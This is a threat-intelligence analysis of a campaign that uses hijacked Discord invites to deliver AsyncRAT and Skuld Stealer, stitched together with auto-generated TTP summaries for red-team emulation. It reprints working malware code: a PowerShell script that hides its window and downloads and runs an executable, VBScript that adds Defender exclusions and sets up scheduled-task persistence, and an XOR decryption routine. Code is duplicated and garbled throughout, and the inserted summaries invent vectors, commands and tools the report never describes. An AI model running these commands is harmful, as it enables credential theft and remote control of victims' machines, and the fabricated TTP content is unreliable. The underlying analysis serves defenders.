Bitbucket, ultimately deployingmalicious payloads, including AsyncRAT and Skuld Stealer:

Phase: Initial Access

  • Technique: Social Engineering via Discord Invite and Phishing Websites
  • Procedure: The attacker uses hijacked Discord invites combined with phishing techniques to lure users into executing a malicious command.

Phase: Execution

  • Technique: PowerShell Execution
  • Command: The victim is tricked into executing a command that uses Invoke-WebRequest to download a PowerShell script from Pastebin and execute it.

Phase: Initial Download

  • Technique: PowerShell Script Execution
  • Procedure: The executed PowerShell script downloads a first-stage downloader (installer.exe) from GitHub.

Phase: Multi-Stage Delivery

  • Technique: Multi-Stage Payload via Bitbucket
  • Procedure: The first-stage downloader retrieves multiple loaders and payloads from Bitbucket.

Phase: Payload Deployment

  • Technique: Custom Malware Deployment
  • Tools: AsyncRAT and Skuld Stealer are deployed as malicious payloads to achieve the attack objectives.

Figure 11 – Infection chain overview: From PowerShell to final malware payload delivery.Let’s now examine each component of the second-phase in detail.Downloader PowerShell ScriptThe script download from Pastebin link is not obfuscated or encrypted. From its code we can see that it downloads and runs anexecutable file from a GitHub URL:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try{Write-Output"Establishing connection..."# Download the EXE using WebClient

Phase: Execution

  • Technique: PowerShell Execution
  • Command: powershell Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("user32.dll")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")]public static extern IntPtr GetConsoleWindow();}"@ $consolePtr = [Win32]::GetConsoleWindow() [Win32]::ShowWindow($consolePtr, 0) # Hide the console window $url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download $exePath = Join-Path $env:TEMP ('installer.exe')

Phase: Execution (Continued)

  • Technique: File Download and Execution via PowerShell
  • Procedure: Use PowerShell to download an executable using WebClient and execute it.
  • Command: powershell try{ Write-Output "Establishing connection..." # Download the EXE using WebClient (New-Object System.Net.WebClient).DownloadFile($url, $exePath) # Execute the downloaded EXE Start-Process -FilePath $exePath } catch{ Write-Output "Download or execution failed" }

This structured extraction focuses on the key elements of the PowerShell script that downloads and executes a malicious payload.

$webClient = New-Object System.Net.WebClient$webClient.DownloadFile($url, $exePath)# Validate the downloadif (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {Write-Output"failed. Exiting..."exit 1}# Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch {Write-Output"An error occurred"} finally {Write-Output"unable to detect discord session."}# Hide PowerShell Console Window Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; publicclass Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window # Define the download and execution parameters $url ="https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download $exePath = Join-Path $env:TEMP('installer.exe') try { Write-Output "Establishing connection..." # Download the EXE using WebClient $webClient = New-ObjectSystem.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executable Start-Process -FilePath$exePath -ArgumentList "-arg1" -NoNewWindow } catch { Write-Output "An error occurred" } finally { Write-Output "unable todetect discord session." }# Hide PowerShell Console WindowAdd-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();}"@$consolePtr = [Win32]::GetConsoleWindow()[Win32]::ShowWindow($consolePtr, 0) # Hide the console window# Define the download and execution parameters$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download$exePath = Join-Path $env:TEMP ('installer.exe')try { Write-Output "Establishing connection..."

Phase: Initial Access

  • Technique: Spear Phishing Attachment
  • Procedure: Likely sent via email to entice user interaction to download and execute the malicious payload.

Phase: Execution

  • Technique: PowerShell Execution
  • Command 1: powershell $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath)
  • Description: Downloads an executable from a specified URL using PowerShell.

  • Command 2: powershell if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 }

  • Description: Validates the successful download of the executable.

  • Command 3: powershell Start-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow

  • Description: Executes the downloaded executable with specified arguments without opening a new window.

  • Command 4: ```powershell Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $consolePtr = Win32::GetConsoleWindow()

    ```

  • Description: Hides the PowerShell console window to avoid detection.

Phase: Defense Evasion

  • Technique: Obfuscated Files or Information
  • Procedure: Utilizes PowerShell script with error handling and output messages to obscure intent and evade detection.

Phase: Impact

  • Technique: Direct Download and Execution
  • Description: Directly downloads and executes a potentially malicious executable from a remote server to establish a foothold.

Download the EXE using WebClient $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executableStart-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow} catch { Write-Output "An error occurred"} finally { Write-Output "unable to detect discord session."}We noticed that almost no anti-virus vendors flag this script as malicious:

Figure 12 – Malicious PowerShell script has an extremely low detection rate on VirusTotal.Cybercriminals actively use the ability to edit information posted on Pastebin to change the GitHub URL from which theexecutable file is downloaded. This probably allows them to bypass the blocking by GitHub. If the repository is deleted, theattackers just create a new account and a new repository, to which they upload the file. The new URL is then placed inside thePastebin script.While monitoring the campaign, we observed the following changes in the address:https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exehttps://github[.]com/shisuh/update/raw/refs/heads/main/installer.exehttps://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exehttps://codeberg[.]org/wfawwf/dwadwaa/raw/branch/main/installer.exeFirst Stage Downloader: installer.exeThe downloaded executable installer.exe(SHA256: 673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932) has extremely low detectionrates. At the time of our research, only a single antivirus vendor on VirusTotal flagged it as malicious:

Phase: Initial Access

  • Technique: User Execution via Malicious PowerShell Script
  • Procedure: The attacker uses a PowerShell script to download a malicious executable from dynamic URLs hosted on platforms like GitHub or Codeberg, leveraging the ability to edit URLs on Pastebin to evade detection.

Phase: Execution

  • Technique: PowerShell Execution
  • Command: powershell $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath) if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } Start-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow

This PowerShell script is used for downloading and executing the malicious executable, with error handling and minimal detection due to its low antivirus flag rate.

Figure 13 – First Stage Downloader has an extremely low detection rate on VirusTotal.During continued monitoring of the campaign, we identified a newer variant of theloader (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) that achieved zerodetections across all antivirus engines at the time of submission. Figure 14 – First Stage Downloader with zero detections on VirusTotal.This binary acts as a downloader that retrieves its second-stage payloads from remote servers.Written in C++ and approximately 4.8MB in size, the binary is not packed. However, the extensive use of junk code complicatesits static analysis. Additionally, C++ binaries inherently complicate analysis due to their use of virtual function tables, indirectfunction calls, and complex runtime structures, making it challenging to quickly identify the relevant code paths.At first glance, the downloader seems to contain plaintext strings; however, nearly all easily visible strings belong to junk codedesigned to distract analysts. In reality, critical strings related to malicious functionality are concealed by being stored assequences of immediate values pushed directly onto the stack at runtime. Each string is additionally encrypted using a simpleXOR cipher with a single-byte key. A distinct XOR key is used for every encrypted string and loaded into the CL register typicallyjust before the process of writing encrypted bytes to the stack. The same method is applied to obfuscate important Windows APIfunction names, whose addresses the malware dynamically resolves using GetProcAddress. Figure 15 – Strings and API calls obfuscation in the loader.When executed in a sandbox without extra options, the malware does not expose any suspicious functionality. It just performsdozens of junk calls (such as OpenThemeData, RegisterWindowMessageW, SHGetStockIconInf, etc.) and then exits.However, if executed with the command-line parameters ”-arg1” or ”-arg2“, it initiates further malicious operations. It’snoteworthy that the initial PowerShell script described earlier explicitly passes the “ -arg1” parameter to theexecutable, triggering its malicious functionality.Upon execution with the correct argument, the dropper creates the following directory: C:\Users\%USERNAME%\AppData\Local\ServiceHelper\

Phase: Initial Access

  • Technique: Social Engineering or Other Delivery Tactics
  • Procedure: The threat actor delivers a first-stage downloader with a low detection rate to the target.

Phase: Execution

  • Technique: Malicious Command Execution
  • Procedure:
  • The loader requires specific command-line parameters to trigger malicious activities.
  • Command: downloader.exe -arg1 or downloader.exe -arg2

Phase: Obfuscation

  • Technique: String and API Obfuscation
  • Procedure:
  • Critical strings and Windows API function names are encrypted with a XOR cipher using distinct single-byte keys for each string.
  • Strings are pushed onto the stack as sequences of immediate values and decrypted during execution.

Phase: Execution (Triggering Malicious Functionality)

  • Technique: Directory Creation for Payloads
  • Procedure:
  • Upon execution with the correct parameter, the dropper creates a directory for storing downloaded payloads.
  • Directory Created: C:\Users\%USERNAME%\AppData\Local\ServiceHelper\

Phase: Defense Evasion

  • Technique: Junk Code Insertion
  • Procedure:
  • The binary includes extensive junk code, complicating static analysis and hiding malicious functions.
  • Executes numerous benign API calls to obfuscate real functionality.

This structured information provides a tactical overview of the threat actor's methods, allowing red teams to emulate and test these procedures.

Then, it creates two Visual Basic scripts inside this folder:nat1.vbsThis script attempts to evade Windows Defender detection by adding the user’s directory to Defender’s exclusion paths. It alsoschedules a persistent task named checker, set to run every 5 minutes with the highest privileges. This task periodically launchesthe second script, runsys.vbs. In addition, the script ensures the creation of a placeholder file called settings.txt. This file actsas an execution flag: The malware checks for its existence upon startup to determine if it has previously run.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network")strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) ThenCall objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommand Set objNetwork =CreateObject("WScript.Network") strUsername = objNetwork.UserName Set objShellApp = CreateObject("Shell.Application") SetobjShell = CreateObject("WScript.Shell") strExclusionPath = "C:\users\" & strUsername objShellApp.ShellExecute"PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0 strTaskCommand ="schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST" objShell.Run "cmd /c " & strTaskCommand, 0, True strFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt" Set objFSO =CreateObject("Scripting.FileSystemObject") If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath,True) End If Set objShellApp = Nothing Set objShell = Nothing Set objNetwork = Nothing Set objFSO = NothingDim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommandSet objNetwork = CreateObject("WScript.Network")

Phase: Execution

  • Technique: Windows Defender Exclusion with PowerShell
  • Command: PowerShell -Command Add-MpPreference -ExclusionPath 'C:\users\<username>'

Phase: Persistence

  • Technique: Scheduled Task Creation
  • Command: schtasks /create /tn "checker" /tr "wscript.exe \"C:\Users\<username>\AppData\Local\ServiceHelper\runsys.vbs\"" /sc MINUTE /mo 5 /RL HIGHEST

Phase: Execution

  • Technique: Script Execution
  • Procedure: The scheduled task runs runsys.vbs every 5 minutes with highest privileges.

Phase: Defense Evasion

  • Technique: Use of Legitimate Tools for Malicious Purposes
  • Procedure: Use of wscript.exe to execute Visual Basic scripts for persistence and defense evasion.

Phase: Persistence

  • Technique: Flag Creation for Execution Tracking
  • Procedure: Creation of a file settings.txt in C:\users\<username>\AppData\Local\ServiceHelper to act as an execution flag.

strUsername = objNetwork.UserNameSet objShellApp = CreateObject("Shell.Application")Set objShell = CreateObject("WScript.Shell")strExclusionPath = "C:\users\" & strUsernameobjShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \""C:\Users\" & strUsername & "\AppData\Local\ServiceHelper\runsys.vbs\"""" /sc MINUTE /mo 5 /RL HIGHEST"objShell.Run "cmd /c " & strTaskCommand, 0, TruestrFilePath = "C:\users\" & strUsername & "\AppData\Local\ServiceHelper\settings.txt"Set objFSO = CreateObject("Scripting.FileSystemObject")If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath, True)End IfSet objShellApp = NothingSet objShell = NothingSet objNetwork = NothingSet objFSO = Nothingrunsys.vbsThis short script silently executes the second-stage payload executable syshelpers.exe.Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume Next Set WshShell = CreateObject("WScript.Shell") WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOn Error Resume NextSet WshShell = CreateObject("WScript.Shell")WshShell.Run """C:\Users\%UserName%\AppData\Local\ServiceHelper\syshelpers.exe""", 0, FalseOnce these scripts are set up, the dropper proceeds to download two encrypted payloads from Bitbucket:URL Local file namehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/skul.exe searchHost.exehttps://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe syshelpers.exeTo perform HTTP requests, the malware uses the following specific User-agent string:Dynamic WinHTTP Client/1.0Both files are stored encrypted on the Bitbucket service. To decrypt these downloaded executables, the malware applies thefollowing XOR-based algorithm:Plain textCopy to clipboardOpen code in new window

Phase: Initial Access

  • Technique: User Execution via Malicious Script
  • Procedure: The attacker uses VBScript to execute malicious activities on the victim's machine.

Phase: Execution

  • Technique: PowerShell Execution for Defender Exclusion
  • Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\users\<Username>'

  • Technique: VBScript Execution for Second-Stage Payload

  • Command: wscript.exe "C:\Users\<Username>\AppData\Local\ServiceHelper\runsys.vbs"
  • Description: The VBScript (runsys.vbs) silently executes another payload (syshelpers.exe).

  • Technique: Scheduled Task Creation

  • Command: schtasks /create /tn "checker" /tr "wscript.exe \"C:\Users\<Username>\AppData\Local\ServiceHelper\runsys.vbs\"" /sc MINUTE /mo 5 /RL HIGHEST

Phase: Persistence

  • Technique: Scheduled Task for Persistence
  • Description: The scheduled task checker runs every 5 minutes with the highest privileges to execute runsys.vbs.

Phase: Defense Evasion

  • Technique: Windows Defender Exclusion
  • Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\users\<Username>'

Phase: Execution

  • Technique: User Execution via VBScript
  • Command: wscript.exe "C:\Users\<Username>\AppData\Local\ServiceHelper\syshelpers.exe"
  • Description: Executes the second-stage payload syshelpers.exe silently.

Phase: Payload Deployment

  • Technique: Encrypted File Download and Execution
  • Procedure: Payloads are downloaded from a remote URL and stored as encrypted executables. They are decrypted using an XOR-based algorithm.

Phase: Evasion

  • Technique: Obfuscation with Encryption
  • Description: Payloads are encrypted and require decryption upon download to evade detection.

This structured breakdown focuses on the specific actions and commands used by the threat actor, allowing a red team to emulate the attack chain effectively.

EnlighterJS 3 Syntax Highlighterdef decrypt_data(data):return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))Despite using a relatively simple encryption scheme, this technique effectively prevents detection of the malicious payloads storedon Bitbucket. At the time of this writing, neither of the two downloaded files (skul.exe and Rnr.exe) is flagged as malicious byany antivirus vendor on VirusTotal. Previously, we observed similar use of payload encryption by malware such asGuLoader, enabling threat actors to leverage legitimate services like Google Drive for payload hosting and effectively evadeantivirus detection.Upon successful decryption, these files are stored in the previously created directory (ServiceHelper).The first downloaded file searchHost.exe (initially skul.exe) is executed immediately by calling the CreateProcessW APIfunction.The second file syshelpers.exe (initially Rnr.exe) is executed every five minutes by the previously scheduled task(runsys.vbs), thus ensuring long-term persistence on the victim’s machine.Second Stage Downloader: Rnr.exeThe file Rnr.exe (decryptedSHA256: 5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f), downloaded from Bitbucketand saved locally as syshelpers.exe, also acts as a downloader.It shares many similarities with the previously described downloader (installer.exe), in particular that both use XORobfuscation with a single-byte key to hide strings and API function names.When sending HTTP requests to download its payload, the sample sets the following User-Agent header:Dynamic WinHTTP Client/1.0The encrypted payload is downloaded from this URL:https://bitbucket[.]org/updatevak/upd/downloads/AClient.exe

Phase: Defense Evasion

  • Technique: Payload Encryption
  • Procedure: Usage of a custom encryption scheme with XOR operation (b ^ ((119 + 5 * i) & 0xFF)) to obfuscate malicious payloads on Bitbucket.

Phase: Execution

  • Technique: Windows API Execution
  • Procedure: Execution of searchHost.exe using the CreateProcessW API function.
  • Technique: Scheduled Task
  • Procedure: Execution of syshelpers.exe every five minutes via a scheduled task runsys.vbs.

Phase: Persistence

  • Technique: Scheduled Task
  • Procedure: A task running syshelpers.exe is set to execute periodically ensuring persistence on the victim's machine.

Phase: Command and Control

  • Technique: Custom User-Agent for HTTP Requests
  • Procedure: The downloader sets the User-Agent header to Dynamic WinHTTP Client/1.0 for HTTP requests to download additional payloads.

Phase: Defensive Evasion

  • Technique: String and API Obfuscation
  • Procedure: Usage of XOR obfuscation with a single-byte key to hide strings and API functions in Rnr.exe.

Figure 16 – Encrypted paths and a URL in the second stage downloader.The same file can also be found on the previously discussed repository: https://bitbucket[.]org/syscontrol6/syscontrol/downloads/AClient.exe. This may indicate that there could be other versions of the Rnr.exe file downloading payloads fromdifferent repositories.This downloader employs an interesting sandbox evasion technique. On first execution, the downloader fetches the payload fromthe above URL and saves it in the current directory under the name ”updatelog” (Note: There is no file extension). It thenimmediately exits without decrypting or executing the payload.However, as described earlier, this executable is automatically re-executed every five minutes via a scheduledtask (runsys.vbs). On the next launch, the downloader checks for the presence of the ”updatelog” file. If the file exists, thedownloader proceeds to decrypt it using the same XOR-based algorithm used by the previous downloader and saves the resultas syshelp.exe in the same directory.On every subsequent run, the downloader checks if the file syshelp.exe exists in the current folder, and if so, the downloaderexecutes it.Even when the full infection chain is triggered starting from the initial PowerShell script, the malware’s use of scheduled taskscauses significant delays:Five minutes before the first download,Another 5 minutes before decryption,A final 5-minute delay before execution.In total, at least 15 minutes must pass before any malicious behavior becomes visible — long enough to evade detection by manyautomated sandbox systems.If this downloader is executed without prior context inside a sandbox, the final payload will be downloaded but never decrypted orrun. As a result, none of its malicious behavior will be visible, regardless of what the payload contains.Payload 1: AClient.exe (AsyncRAT)The first payload delivered in this campaign, AClient.exe (decryptedSHA256: 53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe), is a variant of the AsyncRATmalware, version 0.5.8. AsyncRAT an open-source Remote Access Trojan (RAT). It provides attackers with comprehensive remotecontrol capabilities over infected systems, including:Executing arbitrary commands and scripts.Keylogging and screen capturing.File management (uploading, downloading, deleting files).

Phase: Initial Access

  • Technique: Malicious Downloader
  • Procedure: Execution of a downloader that fetches payload using a URL.

Phase: Execution

  • Technique: Scheduled Task Execution
  • Command: Scheduled task executes runsys.vbs which re-runs the downloader every five minutes.
  • Procedure:
  • First Execution: Downloader fetches payload from URL and saves as "updatelog".
  • Subsequent Execution: Checks for "updatelog", decrypts it, and saves as "syshelp.exe".
  • Further Execution: If "syshelp.exe" exists, executes it.

Phase: Persistence

  • Technique: Scheduled Task
  • Command: Utilizes a scheduled task to ensure the downloader executes every five minutes.

Phase: Payload Execution

  • Technique: Execute Compiled Binary
  • Procedure: Execution of "syshelp.exe" which is the decrypted payload. This payload is a variant of the AsyncRAT.

Phase: Remote Access

  • Technique: Use of Remote Access Trojan
  • Tool: AClient.exe (AsyncRAT)
  • Capabilities:
  • Execute arbitrary commands and scripts.
  • Keylogging and screen capturing.
  • File management (uploading, downloading, deleting files).

Remote desktop and camera access.This AsyncRAT sample uses a “dead drop resolver” technique: Instead of directly embedding the command-and-control (C&C) server address, the malware retrieves it from a publicly accessible third-party resource – in this case, a Pastebindocument:https://pastebin.com/raw/ftknPNF7At the time of analysis, the Pastebin URL contained the following C&C server address:101.99.76.120:7707However, we later discovered that most of the time the address value was set to 0.0.0.0:7707.We also found earlier AsyncRAT samples related to the same threat actors with the following SHA256:d54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236aThe earliest sample was first seen on November 11, 2024. These samples contain embedded C&C server addresses in theirconfiguration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighter87.120.127.37:7707185.234.247.8:7707microads[.]top:770787.120.127.37:7707 185.234.247.8:7707 microads[.]top:770787.120.127.37:7707185.234.247.8:7707microads[.]top:7707The registration date for the domain microads[.]top is August 15, 2024, meaning that the threat actors are active at least fromthis date.Payload 2: skul.exe (Skuld Stealer)The second payload downloaded from Bitbucket is skul.exe (decryptedSHA256: 8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c). This executable is identified asa variant of the Skuld Stealer, a malware tool written in Go and publicly available as open source on GitHub.The original Skuld Stealer project is described as a proof-of-concept malware targeting Windows systems, designed to stealsensitive user data from multiple sources, including Discord, various browsers, crypto wallets, and gaming platforms.The original Skuld Stealer provides extensive functionality, including:Anti-debugging (termination of debugging tools).Virtual machine detection and sandbox evasion.Credential theft from Chromium-based and Gecko-based browsers (logins, cookies, credit cards, browser history).Crypto clipper (replaces clipboard contents with attacker-controlled cryptocurrency addresses).Stealing Discord authentication tokens.

Phase: Command and Control Configuration

  • Technique: Dead Drop Resolver
  • Procedure: The AsyncRAT retrieves the command-and-control server address from a publicly accessible Pastebin document.

Phase: Execution

  • Tool: AsyncRAT
  • Functionality: Remote desktop and camera access.

Phase: Payload Deployment

  • Technique: Malware Download and Execution
  • Tool: Skuld Stealer (skul.exe)
  • Description: Downloaded from Bitbucket, this executable is a variant of Skuld Stealer designed to steal sensitive data from various sources.

Phase: Evasion

  • Technique: Anti-Debugging and Sandbox Evasion
  • Procedure: Skuld Stealer employs anti-debugging techniques and detects virtual machines to evade analysis.

Phase: Credential Access

  • Technique: Credential Dumping
  • Procedure:
  • Steals credentials from Chromium-based and Gecko-based browsers.
  • Extracts Discord authentication tokens.

Phase: Impact

  • Technique: Information Theft
  • Procedure:
  • Steals data from browsers, crypto wallets, and gaming platforms.
  • Acts as a crypto clipper to replace clipboard content with attacker-controlled cryptocurrency addresses.

Discord injection module to intercept sensitive user operations such as login, password changes, payment information additions,preventing requests to view devices, and blocking QR logins.Collecting sessions from popular gaming platforms (Epic Games, Minecraft, Riot Games, Uplay).System information gathering (CPU, GPU, RAM, IP, geolocation, Wi-Fi networks).Crypto wallet data theft, including mnemonic phrases and passwords.However, the variant used in this specific campaign differs from the publicly available version in several aspects. Notably, it omitscertain functionality:No crypto clipper.No anti-debugging measures.No stealing sessions from gaming platforms.No built-in persistence mechanism: Unlike the public version, this stealer does not implement internal persistence. Instead,persistence is externally achieved through the previously described scheduled task (runsys.vbs).Let’s go deeper into some of the details of the variant used in this campaign.Mutex UsageTo prevent multiple instances of itself from running, Skuld creates a mutex with a specific, GUID-like name. The variant used inthis campaign uses the exact same mutex name as the open-source version:3575651c-bb47-448e-a514-22865732bbcPlain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax Highlighterfunc IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc", err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}func IsAlreadyRunning() bool { const AppID = "3575651c-bb47-448e-a514-22865732bbc" , err := windows.CreateMutex(nil,false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID))) return err != nil }func IsAlreadyRunning() bool {const AppID = "3575651c-bb47-448e-a514-22865732bbc"_, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))return err != nil}This mutex name can be used as an IOC to detect if Skuld is active in the system.Data Exfiltration via Discord WebhooksSkuld sends the collected data through a Discord webhook, a one-way HTTP-based channel commonly used by applications topost automated messages and data to Discord channels. Webhooks provide a convenient, secure, and easily configurable way forattackers to exfiltrate stolen information without maintaining complex command-and-control servers.

Phase: Initial Access

  • Technique: Malicious Document Injection
  • Procedure: The attacker delivers a malicious module via a document targeting Discord to intercept sensitive user operations.

Phase: Persistence

  • Technique: Scheduled Task for Persistence
  • Command: schtasks /create /tn "RunSys" /tr "C:\Path\To\runsys.vbs" /sc onlogon

Phase: Execution

  • Technique: Mutex Creation
  • Procedure: A mutex with the GUID-like name 3575651c-bb47-448e-a514-22865732bbc is created to prevent multiple instances.
  • Code Example: go func IsAlreadyRunning() bool { const AppID = "3575651c-bb47-448e-a514-22865732bbc" _, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\\\%s", AppID))) return err != nil }

Phase: Credential Access

  • Technique: User Credential Interception
  • Procedure: The module targets Discord to intercept sensitive operations, including logins and password changes.

Phase: Collection

  • Technique: System Information Gathering
  • Procedure: Collects system information such as CPU, GPU, RAM, IP, geolocation, and Wi-Fi networks.

  • Technique: Crypto Wallet Data Theft

  • Procedure: Steals crypto wallet information, including mnemonic phrases and passwords.

Phase: Exfiltration

  • Technique: Data Exfiltration via Discord Webhooks
  • Procedure: Stolen data is sent through a Discord webhook for exfiltration. This method enables data transmission without complex C2 servers.

In the original open-source version of Skuld, the Discord webhook URL is stored in plaintext within the configuration:Plain textCopy to clipboardOpen code in new windowEnlighterJS 3 Syntax HighlighterCONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}CONFIG := map[string]interface{}{ "webhook": "https://discord.com/api/webhooks/...", "cryptos": map[string]string{ "BTC": "",# crypto-clipper setup "BCH": "", // ... }, }CONFIG := map[string]interface{}{"webhook": "https://discord.com/api/webhooks/...","cryptos": map[string]string{"BTC": "", # crypto-clipper setup"BCH": "",// ...},}However, the variant analyzed in this campaign uses two separate Discord webhooks, each serving different purposes, and bothURLs are encrypted using a single-byte XOR cipher.Upon execution, the malware decrypts both webhook URLs: Figure 17 – Webhook URL decryption in Skuld stealer.These are the decrypted webhook URLs:

Based on the information provided, I'll outline possible TTPs relevant to red team emulation based on typical behavior when handling webhook URLs and cryptography in malware. Since the command-line specifics and tools are not explicitly described, I'll infer likely actions:

Phase: Initialization

  • Technique: Configuration Access
  • Procedure: The malware initializes by accessing its configuration settings where encrypted webhook URLs are stored.

Phase: Execution

  • Technique: Decryption of Data
  • Procedure: Using a single-byte XOR cipher, the malware decrypts the webhook URLs needed for establishing communication channels.

Phase: Command and Control

  • Technique: Encrypted Communication
  • Procedure: Once decrypted, the malware prepares to utilize these webhook URLs for data exfiltration or command receipt through HTTP requests.

Inference on Likely Execution (General Practice):

  • Command: Example XOR operation for decryption
  • xor.exe -i encrypted_data -k <single-byte-key> -o decrypted_data

Phase: Exfiltration

  • Technique: Exfiltration Using External Web Service
  • Procedure: Sends collected data to the decrypted Discord webhook URLs.

This general structure aligns with typical practices around handling encrypted configuration data in malware. For specific command-line use, further details from the CTI report would be needed.

